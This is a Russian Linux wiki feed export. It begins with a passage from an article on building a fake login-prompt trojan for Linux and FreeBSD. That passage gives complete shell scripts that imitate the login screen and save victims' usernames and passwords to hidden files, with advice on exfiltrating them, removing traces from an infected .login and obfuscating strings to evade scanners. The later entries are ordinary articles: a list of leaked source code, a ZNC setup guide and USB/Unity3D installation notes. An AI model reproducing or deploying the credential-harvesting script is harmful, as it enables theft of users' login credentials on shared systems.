timeout = 'login: Login timed out after &amp;lt;num&amp;gt; seconds\n'&lt;br /&gt;
caption = '&amp;lt;system&amp;gt; &amp;lt;hostname&amp;gt; (&amp;lt;tty&amp;gt;)'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
здесь:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;system&amp;gt; - название системы&lt;br /&gt;
* &amp;lt;os&amp;gt; - тип ядра&lt;br /&gt;
* &amp;lt;version&amp;gt; - версия ядра, (не)стабильная, релиз/тест&lt;br /&gt;
* &amp;lt;hostname&amp;gt; - имя хоста, можно узнать одноименной командой&lt;br /&gt;
* &amp;lt;tty&amp;gt; - название консоли, на к-ой происходит вход&lt;br /&gt;
* &amp;lt;num&amp;gt; - кол-во секунд, после к-х система прекратит вход&lt;br /&gt;
&lt;br /&gt;
Проблема в том - как узнать &amp;lt;system&amp;gt;, &amp;lt;hostname&amp;gt; и все остальное?&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;hostname&amp;gt;&lt;br /&gt;
Можно узнать, дав команду 'hostname' или 'uname -n'&lt;br /&gt;
&lt;br /&gt;
==== Делаем ноги ====&lt;br /&gt;
&lt;br /&gt;
Ну, теперь осталось отправить файл с логином и паролем. Можно послать по сети на наш адрес, а лучше выложить в общий доступ, где мы сидим и ждем его. Как только файл появится, быстренько копируем его содержимое и удаляем, чтобы его не успели увидеть честные пользователи и не сообщили администрации.&lt;br /&gt;
После чего надо удалить все созданные временные файлы и вырезать себя из зараженного файла (.login), чтобы он принял первоначальный вид.&lt;br /&gt;
&lt;br /&gt;
==== Определяем конфигурацию ====&lt;br /&gt;
&lt;br /&gt;
Теперь, когда мы написали 2 отдельных файла, работающих на FreeBSD и Linux, надо их переписать в один, объединив все общие части и сделать файл переносимым. Чтобы определить текущую систему, проще всего дать команду 'uname -s'. Она вернет на вывод FreeBSD или Linux. Недостаток в том, что имя системы помоему можно изменить, и тогда она станет неуязвима к нашему оружию, пока мы не определим систему как-то по другому. Несмотря на это, все конфигурационные скрипты в архивах с исходниками определяют систему командой 'uname -s'.&lt;br /&gt;
&lt;br /&gt;
Можно найти специфичные файлы, например, /etc/rc.conf для FreeBSD и /etc/inittab для Linux. Но администратор может создать лишние файлы и тогда введет скрипт в ступор.&lt;br /&gt;
&lt;br /&gt;
Можно определить тип исполняемого файла /bin/sh, прочитав сигнатуру ELF в первых 3-х байтах, а затем проверить байт по смещению 07h - если 0x09, значит FreeBSD, а если 0x00 - то Linux. Но и тут есть грабли. Тип системы 0x00 на самом деле соответствует UNIX System V, и его нормально воспринимает Linux, поэтому бОльшая часть исполняемых файлов имеет этот тип. Наверяка подобная ситуация может распространяться на другие очень редкие UNIX-системы. Так что 0x00 - не означает Linux.&lt;br /&gt;
&lt;br /&gt;
==== Определение совместимости и процедура заражения ====&lt;br /&gt;
&lt;br /&gt;
После определения системы мы должны выяснить - сможет ли работать наш скрипт. Для этого надо проверить наличие всех программ, которые мы будем запускать:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
[ -x путь] &amp;amp;&amp;amp; &amp;lt;команда&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;команда&amp;gt; выполнится только если &amp;lt;путь&amp;gt; существует и является исполняемым файлом.&lt;br /&gt;
&lt;br /&gt;
Пусть систему и совместимость определяет скрипт заражения, а не наша &amp;quot;боевая начинка&amp;quot;. То есть программа &amp;quot;фальшивый логин&amp;quot; всего-лишь определит текущую систему и будет работать в соответствии с ней. Можно было сделать по другому, так, чтобы:&lt;br /&gt;
&lt;br /&gt;
- Текущую систему и совместимость проверяла сама боевая начинка, а скрипт заражения занимался только заражение. Но тогда боевая начинка будет больше по размеру и медленнее работать, что может вызвать подозрения.&lt;br /&gt;
- Скрипт заражения сам компоновал боевую начинку в соответствии с системой, но это усложнило бы процесс заражения и сделало его менее читаемым.&lt;br /&gt;
- Можно было вообще хранить в себе 2 отдельные версии начинки для каждой системы и не вращаться с портированием, но это увеличело бы размер гадости.&lt;br /&gt;
&lt;br /&gt;
Так что наш выбор является серединой между размером и простотой программы.&lt;br /&gt;
Во время тестирования оказалось, что на DSL Linux пробелы в конце переменных игнорирует не только echo, но и printf. Из-за этого &amp;quot;Password:&amp;quot; выводился без нужного пробела. Пришлось выводить пробел отдельно, если система - Linux.&lt;br /&gt;
&lt;br /&gt;
Окончательный вариант фальшивого логина можно найти в falselogin.sh. В остальных falselogin-файлах тоже самое, но с комментариями в разных кодировках.&lt;br /&gt;
&lt;br /&gt;
==== Прячем уши от человеческих глаз ====&lt;br /&gt;
&lt;br /&gt;
Теперь пришла пора скрыть текстовые строки от глаз человека и сканеров. Для этого увеличиваем значение каждого символа на 1, а перед использованием - уменьшаем на 1.&lt;br /&gt;
&lt;br /&gt;
=== Исходные тексты ===&lt;br /&gt;
&lt;br /&gt;
'''Linux'''&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
l=&amp;quot;login: &amp;quot;&lt;br /&gt;
p=&amp;quot;Password: &amp;quot;&lt;br /&gt;
	&lt;br /&gt;
echo &amp;quot;Login incorrect&amp;quot;&lt;br /&gt;
lg=$LANG&lt;br /&gt;
LANG='us'&lt;br /&gt;
printf &amp;quot;%s %s &amp;quot; $(hostname) $l&lt;br /&gt;
head -n 1 1&amp;gt;~/1login&lt;br /&gt;
	&lt;br /&gt;
stty -echo&lt;br /&gt;
printf &amp;quot;%s &amp;quot; $p&lt;br /&gt;
head -n 1 1&amp;gt;~/2login&lt;br /&gt;
stty echo&lt;br /&gt;
echo&lt;br /&gt;
	&lt;br /&gt;
echo -n &amp;quot;Last login: &amp;quot;&lt;br /&gt;
lastlog -u $(whoami) | tail -n 1 | awk '{ print $3, $4, $5, $6, $8, &amp;quot;on&amp;quot;, $2 }'&lt;br /&gt;
	&lt;br /&gt;
if !(test -e ~/.hushlogin); then&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''FreeBSD'''&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
	&lt;br /&gt;
l=&amp;quot;login:&amp;quot;&lt;br /&gt;
p=&amp;quot;Password:&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
echo &amp;quot;Login incorrect&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
lg=$LANG&lt;br /&gt;
LANG='us'&lt;br /&gt;
printf &amp;quot;%s &amp;quot; $l&lt;br /&gt;
head -n 1 1&amp;gt;~/1login&lt;br /&gt;
	&lt;br /&gt;
stty -echo&lt;br /&gt;
echo -n $p&lt;br /&gt;
head -n 1 1&amp;gt;~/2login&lt;br /&gt;
stty echo&lt;br /&gt;
echo&lt;br /&gt;
	&lt;br /&gt;
echo -n &amp;quot;Last login: &amp;quot;&lt;br /&gt;
lastlogin $(whoami) | awk '{print $3, $4, $5, $6, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
LANG=$lg&lt;br /&gt;
	&lt;br /&gt;
if !(test -e ~/.hushlogin); then&lt;br /&gt;
	head -n 3 /var/run/dmesg.boot&lt;br /&gt;
	echo&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
'''Портированный вариант для Linux и FreeBSD'''&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
	&lt;br /&gt;
p=&amp;quot;Password:&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
### Starting ###&lt;br /&gt;
lg=$LANG&lt;br /&gt;
LANG='us'&lt;br /&gt;
echo 'Login incorrect'&lt;br /&gt;
s=$(uname -s)&lt;br /&gt;
	&lt;br /&gt;
case ${s} in&lt;br /&gt;
Linux)&lt;br /&gt;
	st=1&lt;br /&gt;
	l=$(hostname)&amp;quot; login:&amp;quot;&lt;br /&gt;
	lslg=&amp;quot;lastlog -u&amp;quot;&lt;br /&gt;
	;;&lt;br /&gt;
FreeBSD)&lt;br /&gt;
	st=2&lt;br /&gt;
	l=&amp;quot;login:&amp;quot;&lt;br /&gt;
	prp=&amp;quot;%s&amp;quot;&lt;br /&gt;
	lslg=&amp;quot;lastlogin&amp;quot;&lt;br /&gt;
	cpr=&amp;quot;head -n 3 /var/run/dmesg.boot&amp;quot;; cpr1=&amp;quot;echo&amp;quot;&lt;br /&gt;
	;;&lt;br /&gt;
esac&lt;br /&gt;
printf &amp;quot;%s &amp;quot; $l&lt;br /&gt;
head -n 1 &amp;gt;~/.1login&lt;br /&gt;
stty -echo&lt;br /&gt;
echo -n $p&lt;br /&gt;
if test $s=Linux; then echo -n ' '; fi&lt;br /&gt;
head -n 1 &amp;gt;~/.2login&lt;br /&gt;
stty echo; echo&lt;br /&gt;
	&lt;br /&gt;
echo -n &amp;quot;Last login: &amp;quot;&lt;br /&gt;
case ${s} in&lt;br /&gt;
Linux)&lt;br /&gt;
	$lslg $(whoami) | tail -n 1 | awk '{print $3, $4, $5, $6, $8, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
	;;&lt;br /&gt;
FreeBSD) &lt;br /&gt;
	$lslg $(whoami) | awk '{print $3, $4, $5, $6, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
	;;&lt;br /&gt;
esac&lt;br /&gt;
	&lt;br /&gt;
if !(test -e ~/.hushlogin); then&lt;br /&gt;
	($cpr); ($cpr1)&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi &lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
[[Category:Полезные советы]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%82%D1%91%D0%BA%D1%88%D0%B8%D0%B5_%D0%B8%D1%81%D1%85%D0%BE%D0%B4%D0%BD%D0%B8%D0%BA%D0%B8&amp;diff=401</id>
		<title>Утёкшие исходники</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%82%D1%91%D0%BA%D1%88%D0%B8%D0%B5_%D0%B8%D1%81%D1%85%D0%BE%D0%B4%D0%BD%D0%B8%D0%BA%D0%B8&amp;diff=401"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;В этой статье я постараюсь собрать список всех исходных кодов, которые когда-либо были выложены в сеть (официально или неофициально).&lt;br /&gt;
&lt;br /&gt;
==Официально опубликованный исходный код==&lt;br /&gt;
&lt;br /&gt;
===Игры===&lt;br /&gt;
&lt;br /&gt;
* Prince of Persia (1989) — ASM — Apple ][ — [https://github.com/jmechner/Prince-of-Persia-Apple-II GitHub] (Official release)&lt;br /&gt;
* Doom I–III&lt;br /&gt;
* Quake I–III&lt;br /&gt;
* DEFCON (исходные коды доступны были при покупке на Humble Bundle, затем утекли в сеть)&lt;br /&gt;
&lt;br /&gt;
===Операционные системы===&lt;br /&gt;
&lt;br /&gt;
* MS-DOS 1.1 и 2.0 (Official release)&lt;br /&gt;
&lt;br /&gt;
===Прочий софт===&lt;br /&gt;
&lt;br /&gt;
* Adobe Photoshop 1.0.1 (Official release)&lt;br /&gt;
* Word for Windows 1.1a (Official release)&lt;br /&gt;
&lt;br /&gt;
==Утёкший исходный код==&lt;br /&gt;
&lt;br /&gt;
===Игры===&lt;br /&gt;
&lt;br /&gt;
* Source Engine 2003 (заодно с Havok и HL2)&lt;br /&gt;
* Source Engine 2013 (CS:GO и TF2)&lt;br /&gt;
* Gothic (decompiled code by VAM)&lt;br /&gt;
* Gothic 2 NdR (Source code by Piranha Bytes)&lt;br /&gt;
&lt;br /&gt;
===Операционные системы===&lt;br /&gt;
&lt;br /&gt;
* Windows 2000 (partial, 700Mb)&lt;br /&gt;
* Windows NT 4.0 [http://igorkorkin.blogspot.fi/2013/09/windows-nt-40-full-free-source-code-912_16.html Blog post]&lt;br /&gt;
* Internet Explorer 5&lt;br /&gt;
* MS-DOS 6.0 [ftp://leoromo.net/temp/Software/raras/MS%20DOS%206.0%20Source%20Code/ FTP]&lt;br /&gt;
* MS-DOS 6.22 (probably fake)&lt;br /&gt;
&lt;br /&gt;
===Прочий софт===&lt;br /&gt;
&lt;br /&gt;
* Kaspersky Anti-Virus 2008 (partial, 182Mb RAR) [https://thepiratebay.la/torrent/6132242/KASPERSKY.AV.2008.SRCS.ELCRABE.RAR Torrent]&lt;br /&gt;
* Opera Presto [https://www.linux.org.ru/forum/talks/13144182 Обсуждение] [https://bitbucket.org/prestocore-fan/presto Зеркало]&lt;br /&gt;
&lt;br /&gt;
==Неподтверждённые утечки исходных кодов==&lt;br /&gt;
&lt;br /&gt;
* Cisco Systems (2004)&lt;br /&gt;
* Symantec (2006)&lt;br /&gt;
* Norton (2007)&lt;br /&gt;
* Idera (2007)&lt;br /&gt;
* Oracle (2011)&lt;br /&gt;
* Kaspersky Lab (не очень понятно, какие сорцы у них постоянно воруют)&lt;br /&gt;
* Adobe (40Гб сорцов выложено в сеть, нигде не опубликовано)&lt;br /&gt;
* Skype [http://www.r00tsec.com/2012/07/skype-source-code-leak.html ?]&lt;br /&gt;
* Windows 10 [https://www.linux.org.ru/forum/talks/13500766 32TB of Windows 10 internal builds, core source code leak online]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%B8_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_ZNC&amp;diff=399</id>
		<title>Установка и настройка ZNC</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%B8_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_ZNC&amp;diff=399"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;ZNC — многофункциональный IRC-[https://ru.wikipedia.org/wiki/Баунсер баунсер], который, будучи запущенным на круглосуточно работающем компьютере, позволяет не тереть сессии IRC и подключаться к ним с любого устройства и клиента.&lt;br /&gt;
&lt;br /&gt;
Данная статья является обзорной и будет ссылаться на официальную [https://wiki.znc.in/ZNC/ru вики ZNC].&lt;br /&gt;
&lt;br /&gt;
== Где лучше держать ZNC ==&lt;br /&gt;
&lt;br /&gt;
Наиболее стабильным решением является установка ZNC на выделенный сервер. Однако для размещения баунсера можно использовать любой подходящий компьютер с высоким uptime и стабильным подключением к интернету.&lt;br /&gt;
&lt;br /&gt;
Для работы ZNC потребуется 256-512 Мбайт оперативной памяти (для использования с несколькими пользователями). ZNC доступен на большинстве операционных систем и дистрибутивов linux в виде уже подготовленных бинарных пакетов. Единственное неудобство — часто версия в стандартном репозитории может ощутимо отставать от текущей стабильной.&lt;br /&gt;
&lt;br /&gt;
Для решения этой проблемы всегда можно использовать возможность сборки последней версии (или даже разрабатываемой) из исходных кодов. В стандартной конфигурации с включением всех модулей для сборки потребуется около 2 Гбайт RAM и достаточно производительный процессор. Однако, если отказаться от поддержки modperl и modpython, можно обойтись даже 256 Мбайт RAM на слабой конфигурации. Например, я собрал стандартный порт 1.7.0 во freebsd на конфигурации 512 Мбайт RAM и 512 Мбайт swap с одним доступным ядром Intel Xeon E5620 2.4Ghz за не очень большое время.&lt;br /&gt;
&lt;br /&gt;
== Установка ==&lt;br /&gt;
&lt;br /&gt;
Установка ZNC описана на странице [https://wiki.znc.in/Installation Installation] ([https://wiki.znc.in/Installation/ru Перевод не окончен]). Проблем с установкой из репозиториев бинарных пакетов возникнуть не должно. Также может быть хорошим выходом запуск ZNC в докере.&lt;br /&gt;
&lt;br /&gt;
В этой же статье будет описан случай установки на FreeBSD, с оговорками про другие системы, но без инструкций для них.&lt;br /&gt;
За рамками данной статьи останется множество вопросов соответствия предварительным требованиям к конфигурации операционной системы и дополнительного программного обеспечения, однако это будет оговорено.&lt;br /&gt;
&lt;br /&gt;
=== FreeBSD ===&lt;br /&gt;
&lt;br /&gt;
Установка пакета&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pkg install znc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Обращаем внимание на сообщение:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
*****************************************************************************&lt;br /&gt;
&lt;br /&gt;
# Configuration&lt;br /&gt;
&lt;br /&gt;
 Configs written before ZNC 0.206 can't be read anymore!&lt;br /&gt;
&lt;br /&gt;
 To generate a basic configuration file, run znc --makeconf after installation.&lt;br /&gt;
 It is NOT a good idea to create a new config file manually.&lt;br /&gt;
&lt;br /&gt;
 For generate your config file using znc user, execute:&lt;br /&gt;
&lt;br /&gt;
   su -m znc -c 'znc -d /usr/local/etc/znc --makeconf'&lt;br /&gt;
   or&lt;br /&gt;
   sudo -u znc znc -d /usr/local/etc/znc --makeconf&lt;br /&gt;
&lt;br /&gt;
 http://wiki.znc.in/Configuration&lt;br /&gt;
&lt;br /&gt;
# Modules&lt;br /&gt;
&lt;br /&gt;
 If you upgrade your ZNC version you must recompile all your external modules,&lt;br /&gt;
 ZNC ABI is not stable.&lt;br /&gt;
&lt;br /&gt;
   znc-buildmod &amp;lt;modulename&amp;gt;.cpp&lt;br /&gt;
&lt;br /&gt;
 http://wiki.znc.in/Compiling_modules&lt;br /&gt;
&lt;br /&gt;
*****************************************************************************&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Начальное конфигурирование и первый запуск ==&lt;br /&gt;
Нужно запустить &amp;lt;tt&amp;gt;znc --makeconf&amp;lt;/tt&amp;gt; от того пользователя, под чьим именем будет работать ZNC (если вы устанавливали ZNC из пакетов, то скорее всего будет создан пользоватеоль znc).&lt;br /&gt;
&lt;br /&gt;
=== Конфигурирование в FreeBSD ===&lt;br /&gt;
&lt;br /&gt;
Выполняем команду начального конфигурирования. Процесс проходит интерактивно:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su -m znc -c 'znc -d /usr/local/etc/znc --makeconf'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Выполняем конфигурирование:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ .. ] Checking for list of available modules...&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ** ] -- Global settings --&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ?? ] Listen on port (1025 to 65534): 8841&lt;br /&gt;
[ ?? ] Listen using SSL (yes/no) [no]: yes&lt;br /&gt;
[ ?? ] Listen using both IPv4 and IPv6 (yes/no) [yes]: no&lt;br /&gt;
[ .. ] Verifying the listener...&lt;br /&gt;
[ ** ] Enabled global modules [webadmin]&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ** ] -- Admin user settings --&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ?? ] Username (alphanumeric): username&lt;br /&gt;
[ ?? ] Enter password: &lt;br /&gt;
[ ?? ] Confirm password: &lt;br /&gt;
[ ?? ] Nick [username]: username&lt;br /&gt;
&lt;br /&gt;
[ ?? ] Alternate nick [username_]: &lt;br /&gt;
[ ?? ] Ident [username]: &lt;br /&gt;
[ ?? ] Real name (optional): &lt;br /&gt;
[ ?? ] Bind host (optional): &lt;br /&gt;
[ ** ] Enabled user modules [chansaver, controlpanel]&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ?? ] Set up a network? (yes/no) [yes]: &lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ** ] -- Network settings --&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ?? ] Name [freenode]: &lt;br /&gt;
[ ?? ] Server host [chat.freenode.net]: &lt;br /&gt;
[ ?? ] Server uses SSL? (yes/no) [yes]: &lt;br /&gt;
[ ?? ] Server port (1 to 65535) [6697]: &lt;br /&gt;
[ ?? ] Server password (probably empty): Fkrjujkm40&lt;br /&gt;
[ ?? ] Initial channels: #lorwiki&lt;br /&gt;
[ ** ] Enabled network modules [simple_away]&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ .. ] Writing config [/usr/local/etc/znc/configs/znc.conf]...&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ** ] To connect to this ZNC you need to connect to it as your IRC server&lt;br /&gt;
[ ** ] using the port that you supplied.  You have to supply your login info&lt;br /&gt;
[ ** ] as the IRC server password like this: user/network:pass.&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ** ] Try something like this in your IRC client...&lt;br /&gt;
[ ** ] /server &amp;lt;znc_server_ip&amp;gt; +8841 username:&amp;lt;pass&amp;gt;&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ** ] To manage settings, users and networks, point your web browser to&lt;br /&gt;
[ ** ] https://&amp;lt;znc_server_ip&amp;gt;:8841/&lt;br /&gt;
[ ** ] &lt;br /&gt;
[ ?? ] Launch ZNC now? (yes/no) [yes]: no&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Редактируем &amp;lt;tt&amp;gt;/etc/rc.conf&amp;lt;/tt&amp;gt;, добавив строку:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
znc_enable=&amp;quot;YES&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Настройка SSL ==&lt;br /&gt;
&lt;br /&gt;
== Сообщество ZNC ==&lt;br /&gt;
&lt;br /&gt;
[[Категория:IRC]]&lt;br /&gt;
[[Категория:Сети и интернет]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%B1%D0%B5%D0%B7_CD&amp;diff=397</id>
		<title>Установка без CD</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%B1%D0%B5%D0%B7_CD&amp;diff=397"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Иногда возникает потребность установки дистрибутива OS GNU/Linux при отсутствии CD-ROM на компьютере. В связи с возросшей популярностью неттопов (Asus EeeePC, MSI Wind, Acer Aspire One) эта проблема стала более актуальной. Существует два пути ее решения этой проблемы: установка с usb flash, установка с жесткого диска (в неттопах это будет ssd) или установка по сети.&lt;br /&gt;
&lt;br /&gt;
==Установка с USB Flash==&lt;br /&gt;
&lt;br /&gt;
Установка OS GNU/Linux с USB Flash состоит из создания загрузочной флешки, и непосредственно установки, последнее, при правильно созданной загрузочной флешке, не будет особо отличаться от установки с CD. &lt;br /&gt;
&lt;br /&gt;
==== Создание загрузочного USB Flash Drive ==== &lt;br /&gt;
&lt;br /&gt;
'''Внимание, все данные на флешке будут безвозвратно уничтожены!'''&lt;br /&gt;
&lt;br /&gt;
Создание загрузочной флешки можно упростить воспользовавшись специализированными утилитами или скриптами, для каждого дистрибутива они могут несколько отличаться (лучше всего поискать в документации вашего дистрибутива): &lt;br /&gt;
* В документации к Ubuntu [https://help.ubuntu.com/community/Installation/FromUSBStick предлагается применить ] утилиту [http://unetbootin.sourceforge.net/ UNetbootin] которая позволяется создать загрузочную флешку и под os GNU/Linux и под Windows, также там есть несколько скриптов и утилит с аналогичным функционалом, но для OS GNU/Linux.&lt;br /&gt;
* В debian наиболее простой путь создания загрузочной флешки — [ http://www.debian.org/releases/stable/i386/ch04s04.html.ru &amp;quot;заливка&amp;quot; готового образа на флешку]&lt;br /&gt;
* В OpenSUSE также есть [http://ru.opensuse.org/Installation_without_CD#.D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0.B5__.D0.B7.D0.B0.D0.B3.D1.80.D1.83.D0.B7.D0.BE.D1.87.D0.BD.D0.BE.D0.B9_USB_.D0.A4.D0.BB.D1.8D.D1.88_.D0.9A.D0.B0.D1.80.D1.82.D1.8B_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D1.83.D1.8F_Linux простой способ создания загрузочных флешек]&lt;br /&gt;
* Для Slackware образ установочной флешки лежит в каталоге [http://slackware.at/data/slackware-12.1/usb-and-pxe-installers/README_USB.TXT usb-and-pxe-installers]&lt;br /&gt;
* Образы Mandriva live-CD One — гибридные, с их помощью загрузочная флешка создаётся одной командой: &amp;lt;pre&amp;gt;dd if=/путь/к/образу.iso of=/dev/sdX&amp;lt;/pre&amp;gt; где X — буква флешки. '''Не ошибитесь с буквой, данные на устройстве будут полностью перезаписаны!''' &lt;br /&gt;
&lt;br /&gt;
Увы, в каждом дистрибутиве этот способ свой, имеет определенные особенности и тонкости, но есть более универсальный способ, подходящий практически для любого дистрибутива. Пусть он сложнее, но зато посвятит вас во все тонкости процесса. Процесс состоит из 3х шагов:&lt;br /&gt;
* разметка флешки&lt;br /&gt;
* установка загрузчика&lt;br /&gt;
* установка ядра и настройка параметров загрузки&lt;br /&gt;
Первый шаг можно пропустить если на вашей флешке есть один раздел и это вас устраивает.&lt;br /&gt;
Второй шаг состоит из одной команды:&lt;br /&gt;
&amp;lt;pre&amp;gt;syslinux /dev/sdx1&amp;lt;/pre&amp;gt; &lt;br /&gt;
где /dev/sdx1 - раздел вашей флешки, '''будьте внимательны, не перепутайте раздел флешки с разделом hdd!'''&lt;br /&gt;
&lt;br /&gt;
Третий шаг может отличаться в разных дистрибутивах, но в большинстве случаев достаточно скпировать на флешку vmlinuz (файл ядра), initrd.gz (образ ramdisk) которые вы можете найти на установочном диске дистрибутива. Также нужно создать файл syslinux.cfg с двумя строчками:&lt;br /&gt;
&amp;lt;pre&amp;gt;default vmlinuz&lt;br /&gt;
append initrd=initrd.gz&amp;lt;/pre&amp;gt;&lt;br /&gt;
Стоит отметить, что вместо syslinux можно использовать grub или lilo, конечно настройка или установка будут отличаться.&lt;br /&gt;
Также замечу что этот способ работает и под windows, необходимо только [http://www.kernel.org/pub/linux/utils/boot/syslinux/ скачать] syslinux-*.zip последней версии и распаковав архив выполнить :&lt;br /&gt;
&amp;lt;pre&amp;gt;syslinux E:&amp;lt;/pre&amp;gt;&lt;br /&gt;
Где, E: буква вашей флешки.&lt;br /&gt;
&lt;br /&gt;
После создания загрузочной флешки необходимо скопировать на флешку установочные файлы с CD, хотя в дебиане достаточно скопировать iso образ.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Unity3D_%D0%B8_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%BE%D0%B2_%D0%B2_Linux&amp;diff=395</id>
		<title>Установка Unity3D и инструментов в Linux</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Unity3D_%D0%B8_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%BE%D0%B2_%D0%B2_Linux&amp;diff=395"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;В этой статье будет описана установка Unity3D в популярных дистрибутивах и небольшой обзор имеющихся инструментов.&lt;br /&gt;
&lt;br /&gt;
==Установка Unity3D==&lt;br /&gt;
&lt;br /&gt;
В большинстве дистрибутивов установка проста. Вы скачиваете установщик с сайта... а ссылки на него там нет. А всё потому что он лежит [https://forum.unity.com/threads/unity-on-linux-release-notes-and-known-issues.350256 здесь]. Но таким образом скоро движок перестанет поставляться - [https://forum.unity.com/threads/unity-hub-v-1-3-2-is-now-available.594139/ месяц назад зарелизили Unity Hub] и производить установку рекомендуют именно с его помощью. Ссылки на официальном сайте всё так же нет, но в разделе [https://unity3d.com/ru/unity/beta бета-версий] есть ссылка на форум, ссылка на который есть чуть ранее по тексту.&lt;br /&gt;
&lt;br /&gt;
